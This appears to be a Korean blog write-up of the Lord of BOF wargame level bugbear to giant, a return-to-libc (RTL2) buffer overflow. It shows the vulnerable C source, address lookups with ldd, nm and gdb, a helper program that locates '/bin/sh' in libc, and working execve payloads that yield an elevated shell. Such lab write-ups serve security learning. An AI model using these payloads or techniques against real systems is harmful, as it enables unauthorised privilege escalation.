본문 바로가기
# write-up/- Lord of Bof

[LOB] bugbear -> giant

by ddddh 2016. 12. 6.

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

 // ldd 명령어 - 프로그램 또는 공유 라이브러리들이 필요로 하는 공유 라이브러리를 출력 해주는 명령어다.


fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

  // mn명령어 - so 파일에서 심볼을 얻을 수 있다.


fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}


giant.c를 보면 libc, execve 주소를 더 해 실제 링킹된 execve 주소를 구한다.


argv[1][44] 4byte 값을 execve의 실행 주소랑 비교하기 때문에 우선 execve의 실행 주소를 구해주어야 한다. 


giant의 권한이 없기 때문에 퍼미션이 걸려있는 giant 파일을 대체로 execve 주소를 구해준다. 


[bugbear@localhost bugbear]$ /usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk '{print $4}'

(0x40018000)

[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'

00091d48


execve_addr = lib_addr(0x40018000) + (int)execve_offset(0x00091d48) = 0x400a9d48


if(ret != execve_addr)문을 지나게 되면 strcpy로 buffer에 argv[1]을 집어 넣게 되며 여기서 bof가 일어난다.


buffer의 크기는 40byte, argv[1][44] 4byte는 execve의 실행 주소이기 때문에 strcpy를 거치게 되면 ret 영역에 execve가 덮어 씌여진다.


즉, 이번 문제는 execve를 사용하여 쉘을 따내는 것이 관건이다.




execve는 다른 프로그램을 실행하고 종료해주는 함수이며 인자는 다음과 같다. 


int execve (const char *filename, char *const argv [], char *const envp[]);


execve("/bin/sh", *argv[1]이 NULL인 포인터 배열 주소 ,0);



system 함수/bin/sh -c "command"로 실행되기 때문에 함수 내에 "/bin/sh"라는 문자열이 존재한다. 


system 함수의 실제 링킹된 주소 또한 ldd와 nm을 이용해서 구할 수 있다.


[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep system

00040ae0 T __libc_system

000d2518 T svcerr_systemerr

00040ae0 W system


system = lib_addr(0x40018000) + system offset (0x00040ae0) = 0x40058ae0


이를 토대로 system 함수 내의 "/bin/sh" 문자열을 찾는다.


#include <stdio.h>

#include <string.h>

// memcmp를 사용하기 위한 헤더


int main(void)

{

        int system_ = 0x40058ae0;

  // 링킹된 system offset


        while(memcmp((void*)system_, "/bin/sh", 8))

                system_++;

        // system 역참조 값 8 byte가 "/bin/sh"이 아닐 때 다음 주소로 넘어감


        printf("Yap, Find \"/bin/sh\" : %p(\"%s\")\n", system_, (void *)system_);


        return 0;

}


[bugbear@localhost bugbear]$ gcc -o ./find_binsh ./find_binsh.c

[bugbear@localhost bugbear]$ ./find_binsh

Yap, Find "/bin/sh" : 0x400fbff9("/bin/sh")


system 함수 내의 "/bin/sh"의 offset은 0x400fbff9다.


즉, execve()의 첫 번째 인자가 0x400fbff9("/bin/sh")가 되는 것이다.


남은 두 개의 인자는 kiant 파일(giant의 복사본)에 Segmentation fault를 띄어 core dump를 분석하여 얻을 것이다.


kiant 파일을 사용하는 이유는 setuid가 걸린 파일은 Segmentation fault를 일으켜도 core 파일이 생기지 않기 때문이다.


kiant 파일은 /home/giant/assassin파일을 읽을 권한이 없기 때문execve offset을 비교하는 값이 다르다. 


그렇기 때문에 kiant 파일을 gdb로 분석하여 비교 값을 찾아야 한다.


[bugbear@localhost bugbear]$ gdb -q ./kiant 

(gdb) set disassembly-flavor intel

(gdb) disassemble main


0x8048643 <main+227>: mov    %eax,DWORD PTR [%ebp-60]
0x8048646 <main+230>: cmp    %eax,DWORD PTR [%ebp-56]
0x8048649 <main+233>: je     0x8048662 <main+258>

(gdb) b *main+233
Breakpoint 1 at 0x8048649

(gdb) r `python -c 'print "A"*48'`
Starting program: /home/bugbear/./kiant `python -c 'print "A"*44'`
ldd: /home/giant/assassin: No such file or directory
Breakpoint 1, 0x8048649 in main ()

(gdb) info reg
eax            0x41414141

(gdb) x/1wx $ebp-56
0xbffffa90: 0x080da023

 

kiant 파일의 execve offset 비교 값은 0x080da023이다.


이제 payload를 짜 core dump를 만들면 된다.


payload를 짤 때 execve의 주소 값에 0x0a값(Enter)이 있기 때문에 문자열로 인식하도록 더블 쿼터(")로 감싸줘야한다.


[bugbear@localhost bugbear]$ ./kiant "`python -c 'print "A"*44+"\x23\xa0\x0d\x08"+"AAAA"+"BBBB"+"CCCC"+"DDDD"'`"

ldd: /home/giant/assassin: No such file or directory

AAAABBBBCCCCDDDDEEEEFFFFAAAAAAAAAAAAAAAAAAAAA# 

Segmentation fault (core dumped)



[bugbear@localhost bugbear]$ ls

core  find_binsh  find_binsh.c  giant  giant.c  kiant


[bugbear@localhost bugbear]$ gdb ./kiant core

(gdb) x/124wx $esp     

0xBFFFFAD0:    0x41414141    0x42424242    0x43434343    0x44444444    <- AAAA, BBBB, CCCC, DDDD

0xBFFFFAE0:    0x00000000    0x080484B0    0x00000000    0x080484D1   


여기서 payload를 설명하자면 다음과 같다.


AAAA : execve() 함수가 실행되고 되돌아오는 ret 주소

BBBB : execve() 함수의 첫 번째 인자 -> "/bin/sh"의 주소

CCCC : execve() 함수의 두 번째 인자 -> *argv[], buffer의 시작 주소(0xbffffab0)-> *argv[0] = &"/bin/sh", *argv[1] = NULL

DDDD : execve() 함수의 세 번째 인자 -> NULL


여기서 0xbffffad8이 execve() 함수의 두 번째 인자가 되고, 0xbffffae0(NULL)이 세 번째 인자가 된다.


이를 토대로 payload를 짜서 exploit하면 giant의 쉘을 얻을 수 있다.


[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xdc\xfa\xff\xbf"+"\xe0\xfa\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@BBBB򁝺ÿ¿ỿ¿

bash: /home/bugbear/.bashrc: Permission denied

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)


여기서 "AAAA"를 exit()함수의 offset으로 바꿔주면 좀 더 완벽한 payload가 된다. (물론 크게 상관없다.)


[bugbear@localhost bugbear]$  /usr/bin/nm /lib/libc.so.6 | /bin/grep exit  

000b3ea0 t __bb_exit_func

00021440 T __cxa_atexit

000eff38 ? __elf_set___libc_atexit_element__cleanup__

000edd0c d __exit_funcs

00021310 t __new_exitfn

000212d0 T __on_exit

000eff38 a __start___libc_atexit

000eff3c a __stop___libc_atexit

00091d10 T _exit

000f1800 b added_atexit_handler.104

000efad8 D argp_err_exit_status

000213fc T atexit

000211e0 T exit

000ef1f0 D obstack_exit_failure

000212d0 W on_exit

000c3cec W pthread_exit

000d2b3c T svc_exit


exit = lib_addr(0x40018000) + exit offset (0x000211e0) = 0x400391E0


[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xdc\xfa\xff\xbf"+"\xe0\xfa\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@σ@򁝺ÿ¿ỿ¿

bash: /home/bugbear/.bashrc: Permission denied

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)


'# write-up > - Lord of Bof' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2016.12.08
[LOB] succubus -> nightmare  (0) 2016.12.08
[LOB] zombie_assassin -> succubus  (0) 2016.12.08
[LOB] assassin -> zombie_assassin  (0) 2016.12.07
[LOB] giant -> assassin  (0) 2016.12.07